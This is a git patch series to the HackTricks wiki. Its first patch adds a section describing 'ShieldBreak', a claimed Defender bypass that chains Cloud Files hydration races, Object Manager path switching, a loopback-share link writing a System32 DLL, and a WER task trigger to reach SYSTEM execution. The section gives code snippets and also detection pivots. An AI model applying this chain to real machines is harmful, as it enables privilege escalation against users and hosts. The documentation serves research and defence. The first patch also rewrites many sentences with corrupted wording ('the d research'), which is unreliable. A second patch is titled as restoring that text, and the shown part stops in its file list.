From 4905eb0c223bb7443bf65f5e6b4f545a11aaa662 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 12 Aug 2026 01:53:58 +0000 Subject: [PATCH 1/3] Add content from: ShieldBreak: Microsoft Defender RoguePlanet Patch-Bypass PoC --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../aw2exec-sips-icc-profile.md | 2 +- .../www2exec-.dtors-and-.fini_array.md | 2 +- ...-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../gnu-obstack-function-pointer-hijack.md | 2 +- .../libc-heap/heap-overflow.md | 2 +- .../libc-heap/house-of-force.md | 4 +- ...-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- ...ting-631-internet-printing-protocol-ipp.md | 2 +- .../pentesting-ldap.md | 2 +- .../README.md | 2 +- .../pentesting-sap.md | 2 +- ...bd-attack-surface-and-fuzzing-syzkaller.md | 4 +- ...on-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 +- .../README.md | 2 +- .../create-msi-with-wix.md | 2 +- ...-race-condition-object-manager-slowdown.md | 59 +++++++++++++++++++ 19 files changed, 80 insertions(+), 21 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 33a0c992846..8583d5f109c 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index b73761840da..cfd36adda19 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 2fdda88877a..8e5c3201753 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index c5b88616ee6..27bd11de3cb 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index 254e2fa8d2d..e874f06740d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 9ce39e5b5b4..6a354e9ed21 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index dc0e77682b1..ce0f6fe1869 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index a2d638c3906..43db447d52b 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 9147edbb08d..f1477c32453 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 98cd67638cb..88322fd6edf 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 4cb73c19cc1..a6dab9ca54f 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 12c86bc07c3..bcc49884338 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index b959fb62db4..3796b7e56eb 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 21e26f184b4..82f221523bb 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index 2fc6d059b99..c8ff71a67a1 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.[[1]](#references)[[3]](#references) +Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the d research.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index c82737d0392..1d7623d97fe 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -20,7 +20,7 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c #### Vulnerable Proxies -The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The cited research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) +The vulnerability depends on how the reverse proxy handles `Upgrade` and `Connection`. The d research found the following proxies forwarded the relevant headers by default in the tested configurations:[[1]](#references)[[2]](#references) - HAProxy - Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 302de220ccc..b88fc1a96e5 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index f3eea43e465..a1e16221e46 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md b/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md index b2380ba4312..8810b503f91 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md +++ b/src/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md @@ -116,6 +116,63 @@ The results feed directly into your race orchestration strategy (e.g., number of - When Thread A resumes and performs the privileged action, it observes stale state and performs the attacker-controlled operation. 4. **Clean up** – Delete the directory chain and symbolic links to avoid leaving suspicious artifacts or breaking legitimate IPC users.[[1]](#references) +## Applied chain: mutable Cloud Files placeholders + Object Manager path switching + +[ShieldBreak](https://github.com/MSNightmare/ShieldBreak), published as a bypass for RoguePlanet (CVE-2026-50656), demonstrates a broader exploitation pattern: make a privileged scanner classify one representation of a logical file, then change both its bytes and namespace resolution before remediation uses it. The PoC combines a Cloud Files hydration TOCTOU, an Object Manager shadow-directory fallback, CLFS-generated-name capture, and a local administrative-share link to turn Defender cleanup into a protected DLL write.[[3]](#references)[[4]](#references) + +### 1. Substitute content through Cloud Files hydration + +Register an attacker-writable directory as a Cloud Files sync root, connect a `CF_CALLBACK_TYPE_FETCH_DATA` callback, and create a placeholder whose advertised size matches a deterministic detection trigger such as the EICAR ZIP. The first fetch returns the trigger and flips callback state; later fetches return the payload. After the scanner has classified the first representation, obtain the transfer key and restart hydration with payload-sized metadata, then force hydration to EOF.[[4]](#references) + +```cpp +CfRegisterSyncRoot(sync_root, ®istration, &policies, flags); +CfConnectSyncRoot(sync_root, callbacks, &state, connect_flags, &connection); +CfCreatePlaceholders(sync_root, &placeholder, 1, 0, &created); +// First FETCH_DATA => detection trigger; later FETCH_DATA => payload. +CfGetTransferKey(placeholder_handle, &transfer_key); +opInfo.Type = CF_OPERATION_TYPE_RESTART_HYDRATION; +CfExecute(&opInfo, &restart_params); +CfHydratePlaceholder(placeholder_handle, {0}, CF_EOF, 0, NULL); +``` + +The security boundary fails if scan, verdict, and remediation refer only to a pathname or placeholder identity: neither guarantees that a later hydration returns the bytes that were inspected.[[4]](#references) + +### 2. Switch an invariant path through a shadow-directory fallback + +Create a target Object Manager directory and a second directory with `NtCreateDirectoryObjectEx`, passing the target handle as its shadow/fallback directory. Put a same-named `WD_SCAN` entry in both resolution layers: the visible entry points to the normal working directory, while the fallback entry points to `\CLFS\??\`. Supply Defender only the invariant path below; deleting the visible link while the operation is active makes the same string fall through to the CLFS-backed entry.[[4]](#references) + +```text +\\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_\WD_SCAN\BERLIN +``` + +This is distinct from using shadow directories only to slow lookup: the attacker changes the **meaning** of a previously accepted path without modifying its string.[[4]](#references) + +### 3. Capture the generated name and install a filename-specific link + +Monitor the working directory with `ReadDirectoryChangesW`. On the first `FILE_ACTION_ADDED`, remove the visible `WD_SCAN` link to activate fallback lookup. Capture the second generated filename, open that CLFS-related file, and lock the range `0..MAXLONGLONG` with `LockFileEx`. While the privileged operation is stalled, replace `WD_SCAN` in the visible directory with a real Object Manager directory and create a child symbolic link named from the observed filename (the PoC strips its final four characters). Point it to the protected destination through local SMB:[[4]](#references) + +```text +\??\UNC\127.0.0.1\C$\Windows\System32\phoneinfo.dll +``` + +The unprivileged process cannot write that destination itself, but Defender's SYSTEM context can traverse the loopback administrative share. Combining generated-name observation with a filename-specific Object Manager link avoids having to predict the remediation artifact in advance.[[4]](#references) + +### 4. Stabilize the cleanup race and trigger a privileged loader + +Before scanning, the PoC stores a valid PE (`ntdll.dll`) in the placeholder's `:stream` NTFS alternate data stream. After redirection creates the protected base file, it opens `phoneinfo.dll:stream` with execute access and keeps a `PAGE_EXECUTE_READ | SEC_IMAGE` mapping alive while cleanup resumes; the live file/section objects constrain deletion or replacement during the final race. The restarted hydration now returns the payload DLL rather than EICAR, so the protected base file contains attacker-controlled code.[[4]](#references) + +A protected write is then converted to SYSTEM execution by placing a crafted `Report.wer` under `C:\ProgramData\Microsoft\Windows\WER\ReportQueue\...` and invoking `\Microsoft\Windows\Windows Error Reporting\QueueReporting` through the Task Scheduler COM API. In this chain, privileged WER processing loads the planted `C:\Windows\System32\phoneinfo.dll`; a named-pipe connection is used as the payload execution signal.[[4]](#references) + +### Detection pivots + +Useful correlations are more specific than any single temporary filename and cover all namespace transitions in the chain:[[4]](#references) + +- A newly registered Cloud Files provider followed by EICAR detection and `CF_OPERATION_TYPE_RESTART_HYDRATION` on the same placeholder. +- Object Manager paths containing `WD_TARGET_*`, `WD_SHADOW_*`, or `WD_SCAN`, especially a scan path below `\\.\globalroot\BaseNamedObjects\Restricted\`. +- CLFS file creation followed by an exclusive whole-file lock and loopback access to `\\127.0.0.1\C$\Windows\System32\*.dll` from a privileged security process. +- Creation of a System32 DLL together with an NTFS ADS, followed by `SEC_IMAGE` mapping of the stream. +- An attacker-created WER queue entry followed by an unusual manual run of `\Microsoft\Windows\Windows Error Reporting\QueueReporting` and an image load of the planted DLL. + ## Operational considerations - **Combine primitives** – You can use a long name *per level* in a directory chain for even higher latency until you exhaust the `UNICODE_STRING` size. @@ -134,5 +191,7 @@ The results feed directly into your race orchestration strategy (e.g., number of - [1] [Project Zero – Windows Exploitation Techniques: Winning Race Conditions with Path Lookups](https://projectzero.google/2025/12/windows-exploitation-techniques.html) - [2] [googleprojectzero/symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools) +- [3] [MSNightmare/ShieldBreak](https://github.com/MSNightmare/ShieldBreak) +- [4] [ShieldBreak.cpp (commit be016d8)](https://github.com/MSNightmare/ShieldBreak/blob/be016d8c18c8355a12753286c1ce9d5a48a0dab4/ShieldBreak.cpp) {{#include ../../banners/hacktricks-training.md}} From 707859b401459d7bae86ecf79617d90f8e16f7a0 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:04 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../arbitrary-write-2-exec/aw2exec-sips-icc-profile.md | 2 +- .../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md | 2 +- .../imessage-media-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../libc-heap/gnu-obstack-function-pointer-hijack.md | 2 +- src/binary-exploitation/libc-heap/heap-overflow.md | 2 +- src/binary-exploitation/libc-heap/house-of-force.md | 4 ++-- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- .../24007-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- .../pentesting-631-internet-printing-protocol-ipp.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- 